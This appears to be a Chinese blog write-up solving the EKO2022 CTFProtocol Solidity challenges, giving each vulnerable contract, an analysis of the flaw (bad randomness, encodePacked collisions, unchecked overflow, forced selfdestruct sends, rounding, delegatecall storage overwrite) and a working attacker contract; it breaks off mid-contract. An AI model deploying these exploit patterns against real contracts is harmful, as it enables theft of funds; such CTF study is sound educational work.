CTFProtocol-2022 题解

  • BY_DLIFE
  • 更新于 2024-04-30 11:04
  • 阅读 937

EKO2022 Enter the metaverse

由简入难

The Lost Kitty

1. question

Lucas is a scientist who lives with his cat in a big house that has 2^256 rooms. His cat likes to play hide and seek and jumps to a random room whenever it hears a door opening in another one. Can you find Lucas' cat? Set the variable catFound to true to win this challenge.

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title The Lost Kitty
/// @author https://twitter.com/Cryptonicle1
/// @notice Lucas is a scientist who has lost his cat in a big house that has 2^256 rooms, anon can you find it?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/hidden-kittycat
contract HiddenKittyCat {
    address private immutable _owner;

    constructor() {
        _owner = msg.sender;
        bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));

        assembly {
            sstore(slot, "KittyCat!")
        }
    }

    function areYouHidingHere(bytes32 slot) external view returns (bool) {
        require(msg.sender == _owner, "!owner");
        bytes32 kittyPointer;

        assembly {
            kittyPointer := sload(slot)
        }

        return kittyPointer == "KittyCat!";
    }

    function destroyMe() external {
        require(msg.sender == _owner, "!owner");
        selfdestruct(payable(address(0)));
    }
}

contract House {
    bool public catFound;

    function isKittyCatHere(bytes32 _slot) external {
        if (catFound) {
            return;
        }
        HiddenKittyCat hiddenKittyCat = new HiddenKittyCat();
        bool found = hiddenKittyCat.areYouHidingHere(_slot);

        if (!found) {
            hiddenKittyCat.destroyMe();
        } else {
            catFound = true;
        }
    }
}

2. analysis

一看到这个bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));经典老问题了,badnonce啦,在特定条件下可控,该代码写在构造器中,但是部署操作在House合约的isKittyCatHere()中,所以slot是可控的。

3. solve

攻击合约

contract KittyHacker {

    House house;

    constructor(address _house) {
        house = House(_house);
    }

    function attack() public {

        // compute the value of slot in advance
        bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
        house.isKittyCatHere(slot);
        require(house.catFound(), "Kitty is not be found...");

    }
}

image.png

注意:如果这里还有一个问题,就是确保你的区块高度大于69,否则会报错。。。

RootMe

1.question

Can you trick the machine to get root access?

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title RootMe
/// @author https://twitter.com/tinchoabbate
/// @notice Anon, can you trick the machine to get root access?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/rootme
contract RootMe {
    bool public victory;

    mapping(string => bool) public usernames;
    mapping(bytes32 => address) public accountByIdentifier;

    constructor() {
        register("ROOT", "ROOT");
    }

    modifier onlyRoot() {
        require(accountByIdentifier[_getIdentifier("ROOT", "ROOT")] == msg.sender, "Not authorized");
        _;
    }

    function register(string memory username, string memory salt) public {
        require(usernames[username] == false, "Username already exists");

        usernames[username] = true;

        bytes32 identifier = _getIdentifier(username, salt);
        accountByIdentifier[identifier] = msg.sender;
    }

    function _getIdentifier(string memory user, string memory salt) private pure returns (bytes32) {
        return keccak256(abi.encodePacked(user, salt));
    }

    /**
     * @notice Allows root account to perform any change in the contract's storage
     * @param storageSlot storage position where data will be written
     * @param data data to be written
     */
    function write(bytes32 storageSlot, bytes32 data) external onlyRoot {
        assembly {
            // stores `data` in storage at position `storageSlot`
            sstore(storageSlot, data)
        }
    }
}

2. analysis

漏洞所在:

    function _getIdentifier(string memory user, string memory salt) private pure returns (bytes32) {
        return keccak256(abi.encodePacked(user, salt));
    }

abi.encodePacked(user, salt),该打包方式,省略了变量的存储位置,变量值的长度,只有变量真正的数据部分,而且还将这两个值拼接在一起,导致abi.encodePacked("ROOT", "ROOT")和abi.encodePacked("ROO", "TROOT")的值是一样的。

3. solve

攻击合约

contract RootMeHacker {

    RootMe rm;

    constructor (address _rm) {
        rm = RootMe(_rm);
    }

    function attack() public {
        rm.register("ROO", "TROOT"); // hacker 成为 ROOT
        rm.write(bytes32(uint(0)), bytes32(uint(1))); // 将变量victory改成true
        require(rm.victory() == true, "you are not victory..");
    }
}

image.png

Trickster

1.question

We might have spotted a honeypot... Can you manage to obtain the real jackpot?. Hacking casino slot machines is considered illegal.

源码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

/// @title Trickster
/// @author https://twitter.com/mattaereal
/// @notice We might have spotted a honeypot... Anon, can you manage to obtain the real jackpot?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/trickster
contract Jackpot {
    address private jackpotProxy;
    address private owner;

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function initialize(address _jackpotProxy) public payable {
        jackpotProxy = _jackpotProxy;
    }

    modifier onlyJackpotProxy() {
        require(msg.sender == jackpotProxy);
        _;
    }

    function claimPrize(uint256 amount) external payable onlyJackpotProxy {
        payable(msg.sender).transfer(amount * 2);
    }

    fallback() external payable {}

    receive() external payable {}
}

contract JackpotProxy {
    address private owner;
    address private jackpot;

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    constructor() payable {
        owner = msg.sender;
        address _proxy = address(new Jackpot());
        initialize(_proxy);
        payable(_proxy).transfer(address(this).balance);
    }

    function initialize(address _jackpot) public onlyOwner {
        jackpot = _jackpot;
    }

    function claimPrize() external payable {
        require(msg.value > 0, "zero deposit");
        (bool success,) = jackpot.call{value: msg.value}(abi.encodeWithSignature("claimPrize(uint)", msg.value));
        require(success, "failed");
        payable(msg.sender).transfer(address(this).balance);
    }

    function balance() external view returns (uint256) {
        return jackpot.balance;
    }

    receive() external payable {}
}

2. analysis

何为蜜罐,吞钱,骗局,JackpotProxy中的claimPrize()就是一个骗局,仔细看。

成功调用JackPot中的claimPrize()函数,该合约中的initialize()任何人都可以调用,所以任何人都可以成为jackpotProxy,任何人都可以调用claimPrize函数,问题转为获取address private jackpot,在区块链中数据都是公开透明的,可以采用hardhat来帮助读取该值。

3. solve

攻击合约

contract JackPotHacker {

    Jackpot jackpot;
    JackpotProxy jackpotProxy;
    address owner;

    constructor(address payable _jackpot, address payable _jackpotProxy) {
        jackpot = Jackpot(_jackpot);
        jackpotProxy = JackpotProxy(_jackpotProxy);
        owner = msg.sender;
    }

    function attack() public {
        jackpot.initialize(address(this)); 
        uint half_balance = jackpotProxy.balance() / 2;
        jackpot.claimPrize(half_balance);
        require(jackpotProxy.balance() == 0, "");
        returnMoney();
    }

    function returnMoney() internal {
        payable(owner).call{value: address(this).balance}("");
    }

    receive() external payable {}
}

使用hardhat

const { ethers } = require('hardhat');

describe("[CTFProtocol-2022] Trickster", function() {

    let deployer, player;
    let jackpotproxy, jackpot;

    before(async function() {

        [deployer, player] = await ethers.getSigners();

        // deploy the contract with 2 wei
        let contract_factory = await (await ethers.getContractFactory('JackpotProxy')).deploy({value: 2});

        console.log(`jackpotproxy = ${jackpotproxy = contract_factory.target}`);

        // get private'value => jackpot
        let slot1 = await ethers.provider.getStorage(contract_factory.target, 1);
        jackpot = slot1 = `0x${slot1.slice(slot1.length-40, slot1.length)}`;
        console.log(`jackpot = ${jackpot} `);

    });

    it("Execution", async function() {

        let hacker = await (await ethers.getContractFactory('JackPotHacker')).deploy(jackpot, jackpotproxy);
        await hacker.attack();

    });

    after(async function() {

    });
});

image.png

The Golden Ticket

1.question

The organizers of Ekoparty decided that the tickets for the 2023 conference would be purchased through a smart contract. However, the conference is oversold and you have to sign up for a waitlist to get your ticket. The problem is that they put you on hold for ten years and the only option you have is to extend the wait. After the wait is over, you have to enter a raffle to see if you get the ticket

源码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

/// @title The Golden Ticket
/// @author https://twitter.com/AlanRacciatti
/// @notice Mint your ticket to the EKOparty, if you are patient and lucky enough.
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/the-golden-ticket
contract GoldenTicket {
    mapping(address => uint40) public waitlist;
    mapping(address => bool) public hasTicket;

    function joinWaitlist() external {
        require(waitlist[msg.sender] == 0, "Already on waitlist");
        unchecked {
            ///@dev 10 years wait list
            waitlist[msg.sender] = uint40(block.timestamp + 10 * 365 days);
        }
    }

    function updateWaitTime(uint256 _time) external {
        require(waitlist[msg.sender] != 0, "Join waitlist first");
        unchecked {
            waitlist[msg.sender] += uint40(_time);
        }
    }

    function joinRaffle(uint256 _guess) external {
        require(waitlist[msg.sender] != 0, "Not in waitlist");
        require(waitlist[msg.sender] <= block.timestamp, "Still have to wait");
        require(!hasTicket[msg.sender], "Already have a ticket");
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        if (randomNumber == _guess) {
            hasTicket[msg.sender] = true;
        }
        delete waitlist[msg.sender];
    }

    function giftTicket(address _to) external {
        require(hasTicket[msg.sender], "Yoy dont own a ticket");
        hasTicket[msg.sender] = false;
        hasTicket[_to] = true;
    }
}

2. analysis

本题漏洞:坏随机数,整数溢出

即使在 ^0.8.0的编译器中,使用了unchecked{}关键字,即放弃了整数溢出的检测,这便有了溢出的风险,

updateWaitTime(uint256 _time)函数就是导致整数溢出的关键函数,只要稍加计算便可以算出溢出条件,这里需要注意的是,溢出的结果不能为0,可以是[1, block.timestamp]之间的任何数。

至于坏随机数,可在同一个函数中提前计算。

3. solve

攻击合约


contract GoldenTicketHacker {

    GoldenTicket goldenticket;

    constructor(address _goldenticket) {
        goldenticket = GoldenTicket(_goldenticket);
    }

    function attack() public {
        goldenticket.joinWaitlist();
        goldenticket.updateWaitTime(calFlow());
        uint256 guess = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        goldenticket.joinRaffle(guess);
    }

    function calFlow() internal view returns(uint256) {
        uint max_uint40 = type(uint40).max;
        uint40 wait_time = uint40(block.timestamp + 10 * 365 days);
        uint res = uint40(max_uint40 - wait_time);
        return res + 2; // 实现上溢,使得waitlist[msg.sender] = 1
    }
}

image.png

Smart Horrocrux

1.question

Some security researchers have recently found an eighth Horrocrux, it seems that Voldemort has link to a smart contract, can you destroy it?

源码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

/// @title SmartHorrocrux
/// @author https://twitter.com/AugustitoQ
/// @notice Some security researchers have recently found an eighth Horrocrux, it seems that Voldemort has link to a smart contract, can you destroy it?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/smart-horrocrux
contract SmartHorrocrux {
    bool private invincible;
    bytes32 private constant _spell = 0x45746865724b6164616272610000000000000000000000000000000000000000;
    // var only for test purposes
    bool public alive = true;

    constructor() payable {
        require(msg.value == 2, "Pay Horrorcrux creation price");
        setInvincible();
    }

    function destroyIt(string memory spell, uint256 magic) public {
        bytes32 spellInBytes;
        assembly {
            spellInBytes := mload(add(spell, 32))
        }
        require(spellInBytes == _spell, "That spell wouldn't kill a fly");
        require(!invincible, "The Horrocrux is still invincible");

        bytes memory kedavra = abi.encodePacked(bytes4(bytes32(uint256(spellInBytes) - magic)));
        address(this).call(kedavra);
    }

    function kill() external {
        require(msg.sender == address(this), "No one can kill me");
        alive = false;
        selfdestruct(payable(tx.origin));
    }

    function setInvincible() public {
        invincible = (address(this).balance == 1) ? false : true;
    }

    fallback() external {
        uint256 b = address(this).balance;
        invincible = true;
        if (b > 0) {
            tx.origin.call{value: b}("");
        }
    }
}
/*
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒░▒▒░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░░░░░░░░░░░░█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░░░░░░░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░▒██▓▓▒░▓████░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒█▓█▒░▓░▓▓▓▓░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░▒░▓█▒░░▒▒░░▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█▓███░░░░░░░▓████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█░▒█▓░░░░░░░▒█▒░▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▒▒███▓▓▓███░▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░▓██▓███▓▓▓▒░░▓██▓█▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█▒▒▓▓███▓▓▒░░▒▒▓██▒▓▒░▓█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓▒█░▓██▓█▓▒░░▓████▓▒▓░▒██▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓▒▒▒▓▓░░░▓▓░▓▒░▓░░▓██░░█▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█░░░▒░█░░░░▒▒▒▒░▓▒░░░▒█░▓░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░███░▒▒▓░░░░░▓█░░▓▓░░░░▓▒▒░▒░▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▒░▓▓█░░░░░░█▓▓░▓░░░▒░▒▒▓░░▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓█░░▓█▓░░░░░░█░░▓▓▒▒░▒█▓░░▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓░░░░░█▓▓▒▒░▒█▓▓▒▒▓▓▒░░░▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█▓▓▒▒░░▓███████▒▒▒▒▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒███▓▓█▒░▒█████▓▒▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█▒▒░░▒█████▓▓██▒▒▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒░░░▓▓███░▒█░░██▓▒▒▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█░░░░▓░░░██▒▓▒█░░███▓▒▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░▒▒░░░▒▓█▒▓█░░█▒▒█▒▓█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒░░░▒▓░░░░█▓▓▓▒▒█▒░░▓██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░▒▓▒▒▒█▓▒▒▓█▒░░░▓█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░░░░░▒██▓░▓██░░▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▒▒██▓▓░███▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒▓▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▒░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓░▓█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒░░▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒▓▒░▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█▓▒▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▒▓█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓░▓▓░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░▓▓░▒░░░▒▒█▓█▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▒▒▓░░▒▒▒████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓░▒▓░░▒░▒▓▓██▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▒░▒▓░░▒░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█▓░▒▓░░▓▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒▒▒▒▓▒░░░▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
*/

2. analysis

目标是成功执行kill()函数,而要想调用此函数只能通过destroyIt(string memory spell)函数,分析destroyIt()函数

   function destroyIt(string memory spell, uint256 magic) public {
        bytes32 spellInBytes;
        assembly {
            spellInBytes := mload(add(spell, 32))
        }
        require(spellInBytes == _spell, "That spell wouldn't kill a fly");
        require(!invincible, "The Horrocrux is still invincible");

        bytes memory kedavra = abi.encodePacked(bytes4(bytes32(uint256(spellInBytes) - magic)));
        address(this).call(kedavra);
    }

有两个断言:

  • 断言一:形参spell的值等于0x45746865724b6164616272610000000000000000000000000000000000000000,这个可以做到,因为这个值可以由 ASCII码表 转化过来,转化结果如下:

    //45 74 68 65 72 48 61 64 61 62 72 61 0000000000000000000000000000000000000000
    //EtherKadabra
  • 断言二:调用 setInvincible(),将invincible修改为false。而合约中有 2wei,所以只能通过触发fallback函数,再通过selfdestruct强制给合约发送 1wei,且不会触发回调函数fallback

使的kedava的值等于kill.selector,可以通过简单的计算得到:

    function cal() internal pure returns (uint magic) {
        uint kill_selector = uint(bytes32(bytes4(abi.encodeWithSignature("kill()"))));
        magic = uint(_spell) - kill_selector;
    }

*这里有个小陷阱,就是需要将byte4转化一次byte32,只有这样bytes4(abi.encodeWithSignature("kill()"))才会占高位,如下所示

image.png

3. solve

攻击合约

contract SmartHorrocruxHacker {

    SmartHorrocrux samrthorrocrux;
    bytes32 private constant _spell = 0x45746865724b6164616272610000000000000000000000000000000000000000;

    constructor(address _samrthorrocrux) {
        samrthorrocrux = SmartHorrocrux(_samrthorrocrux);
    }

    function attack() public payable {

        address(samrthorrocrux).call(""); // tigger fallback()
        new Helper().kill{value:1}(payable(address(samrthorrocrux)));
        samrthorrocrux.setInvincible(); // lead to invincible = false
        samrthorrocrux.destroyIt("EtherKadabra", cal());
        require(!samrthorrocrux.alive(), "It isn't dead...");
    }

    function cal() internal pure returns (uint magic) {
        uint kill_selector = uint(bytes32(bytes4(abi.encodeWithSignature("kill()"))));
        magic = uint(_spell) - kill_selector;
    }
}

contract Helper {
    function kill(address payable to) public payable {
        require(msg.value == 1 wei);
        selfdestruct(to);
    }
}

image.png

Gas Valve

1.question

The evil Dr. N. Gas has put into orbit a machine that can suck all the air out of the atmosphere. You sneaked into his spaceship and must find a nozzle to open the main valve and stop the machine! Assert the situation and don't panic. Hint: on the valve is marked "model no. EIP-150"

源码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface INozzle {
    function insert() external returns (bool);
}

/// @title Gas Valve
/// @author https://twitter.com/bahurum
/// @notice The evil Dr. N. Gas has created a machine to suck all the air out of the atmosphere. Anon, you must deactivate it before it's too late!
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/gas-valve
contract Valve {
    bool public open;
    bool public lastResult;

    function useNozzle(INozzle nozzle) public returns (bool) {
        try nozzle.insert() returns (bool result) {
            lastResult = result;
            return result;
        } catch {
            lastResult = false;
            return false;
        }
    }

    function openValve(INozzle nozzle) external {
        open = true;
        (bool success,) = address(this).call(abi.encodeWithSelector(this.useNozzle.selector, nozzle));
        require(!success);
    }
}

2. analysis

这题要求成功调用openValve(INozzle nozzle)函数,成功调用的前提是调用useNozzle(INozzle nozzle)失败,而在useNozzle(INozzle nozzle)函数中有try...catch处理语句,用来处理nozzle.insert()。尝试了一下,可以处理require, revert

看题解才知道,使用selfdestrct()可以使得函数调用失败,但是该失败不会被try catch捕获。

3. solve

攻击合约

contract GasValueHacker is INozzle {

    Valve value;

    constructor(address _value) {
        value = Valve(_value);
    }

    function attack() public {
        value.openValve(INozzle(address(this)));
        require(value.open(), "you are not open...");
    }

    function insert() external returns (bool) {
        selfdestruct(payable(address(this)));
    }
}

image.png

Stonks

1.question

You have infiltrated in a big investment firm (name says something about arrows), your task is to loose all their money.

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title Stonks
/// @author https://twitter.com/eugenioclrc
/// @notice You have infiltrated in a big investment firm (name says something about arrows), your task is to loose all their money
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/stonks
contract Stonks {
    mapping(address => mapping(uint256 => uint256)) private _balances;

    // stock tickers
    uint256 public constant TSLA = 0;
    uint256 public constant GME = 1;

    ///@dev price oracle 1 TSLA stonk is 50 GME stonks
    uint256 public constant ORACLE_TSLA_GME = 50;

    constructor(address _player) {
        ///@dev the trader starts with 200 TSLA shares & 1000 GME shares
        _balances[_player][TSLA] = 20;
        _balances[_player][GME] = 1_000;
    }

    /// @notice Buy TSLA stonks using GME stonks
    /// @param amountGMEin amount of GME to spend
    /// @param amountTSLAout amount of TSLA to buy
    function buyTSLA(uint256 amountGMEin, uint256 amountTSLAout) external {
        require(amountGMEin / ORACLE_TSLA_GME == amountTSLAout, "Invalid price");
        _balances[msg.sender][GME] -= amountGMEin;
        _balances[msg.sender][TSLA] += amountTSLAout;
    }

    /// @notice Sell TSLA stonks for GME stonks
    /// @param amountTSLAin amount of GME to spend
    /// @param amountGMEout amount of TSLA to buy
    function sellTSLA(uint256 amountTSLAin, uint256 amountGMEout) external {
        require(amountTSLAin * ORACLE_TSLA_GME == amountGMEout, "Invalid price");
        _balances[msg.sender][TSLA] -= amountTSLAin;
        _balances[msg.sender][GME] += amountGMEout;
    }

    function balanceOf(address _owner, uint256 _ticker) external view returns (uint256) {
        return _balances[_owner][_ticker];
    }
}

2. analysis

只要知道在solidity中没有四舍五入,小数点都是采用直接抹除即向下取整的方式处理小数的,这道题就很好解,利用好require(amountGMEin / ORACLE_TSLA_GME == amountTSLAout, "Invalid price");中的除法运算即可。40 / 50 = 0

3. solve

攻击合约

攻击逻辑:先部署hacker,将hacker设置为player,将stonks地址传入hacker的attack函数中,然后调用该函数即可完成攻击。

contract StonksHacker {

    Stonks stonks;

    function attack(address _stonks) public {

        stonks = Stonks(_stonks);
        stonks.sellTSLA(20, 1000); // let TSLA swap GAM

        for (uint i; i < 2000 / 40; i++) {
            stonks.buyTSLA(40, 0);
        }
        require(stonks.balanceOf(address(this), 0) == 0, "TSLA is not zero");
        require(stonks.balanceOf(address(this), 1) == 0, "GAM is not zero");
    }
}

image.png

Pelusa

1.question

You just open your eyes and are in Mexico 1986, help Diego to set the score from 1 to 2 goals for a win, do whatever is necessary!

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IGame {
    function getBallPossesion() external view returns (address);
}

// "el baile de la gambeta"
// https://www.youtube.com/watch?v=qzxn85zX2aE

/// @title Pelusa
/// @author https://twitter.com/eugenioclrc
/// @notice Its 1986, you are in the football world cup (Mexico86), help Diego score a goal.
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/pelusa
contract Pelusa {
    address private immutable owner;

    address internal player;

    uint256 public goals = 1;

    constructor() {
        owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
    }

    function passTheBall() external {
        require(msg.sender.code.length == 0, "Only EOA players");
        /// @dev "la pelota siempre al 10"
        require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");

        player = msg.sender;
    }

    function isGoal() public view returns (bool) {
        // expect ball in owners posession
        return IGame(player).getBallPossesion() == owner;
    }

    function shoot() external {
        require(isGoal(), "missed");
        /// @dev use "the hand of god" trick
        (bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()"));
        require(success, "missed");
        require(uint256(bytes32(data)) == 22_06_1986);
    }
}

2. analysis

目标是将goals的值修改为2,唯一的办法就只能通过delegatecall进行内存覆盖来实现,不过要注意的是immutable修饰的变量不占slot,所以goals在合约中的位置是slot1

分析shoot()

    function shoot() external {
        require(isGoal(), "missed"); // getStorage()
        /// @dev use "the hand of god" trick
        (bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()"));
        require(success, "missed");
        require(uint256(bytes32(data)) == 22_06_1986);
    }

    function isGoal() public view returns (bool) {
        // expect ball in owners posession
        return IGame(player).getBallPossesion() == owner;
    }
  • owner:该值可以通过合约地址,找到当时的部署者也就是msg.sender,由于blockhash(block.number)= 0,所以 owner = address(uint160(uint256(keccak256(abi.encodePacked(deployer, bytes32(uint(0)))))))
  • handOfGod():自定义该函数,令其返回值为22_06_1986

此外还得通过passTheBall()将player设置为hacker,当然,通过create2可以轻松通过限制条件。

3. solve

攻击合约

contract PelusaHacker is IGame {

    address private  owner;

    uint256 public goals = 1; // slo

    Pelusa pelusa;

    constructor(address _pelusa) {
        pelusa = Pelusa(_pelusa);
        pelusa.passTheBall(); // CREATE2
    }

    function attack(address deployer) public {
        owner = address(uint160(uint256(keccak256(abi.encodePacked(deployer, bytes32(uint(0)))))));
        pelusa.shoot();
    }

    function handOfGod() public returns(uint) {
        goals = 2;
        return 22_06_1986;
    }

    function getBallPossesion() external view returns (address) {
        return owner;
    }
}

contract Deployer {

    function deploy(uint salt, address pelusa) public returns(address) {
        bytes32 _salt = keccak256(abi.encodePacked(salt));
        return address(new PelusaHacker{salt: _salt}(pelusa));
    }
}

Phoenixtto

1.question

Within the world of crossovers there is a special one, where the universes of pokemon, harry potter and solidity intertwine. In this crossover a mixed creature is created between dumbledore's phoenix, a wild ditto and since we are in the solidity universe this creature is a contract. We have called it Phoenixtto and it has two important abilities, that of being reborn from it's ashes after its destruction and that of copying the behavior of another bytecode. Try to capture the Phoenixtto, if you can...

源码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

/**
 *     @title Phoenixtto
 *     @author Rotcivegaf https://twitter.com/victor93389091 <victorfage@gmail.com>
 *     @dev Within the world of crossovers there is a special one, where the universes of pokemon,
 *         harry potter and solidity intertwine.
 *         In this crossover a mix creature is created between dumbledore's phoenix, a wild ditto and
 *         since we are in the solidity universe this creature is a contract.
 *         We have called it Phoenixtto and it has two important abilities, that of being reborn from
 *         it's ashes after its destruction and that of copying the behavior of another bytecode
 *         Try to capture the Phoenixtto, if you can...
 *     @custom:url https://www.ctfprotocol.com/tracks/eko2022/phoenixtto
 */
contract Laboratory {
    address immutable PLAYER;
    address public getImplementation;
    address public addr;

    constructor(address _player) {
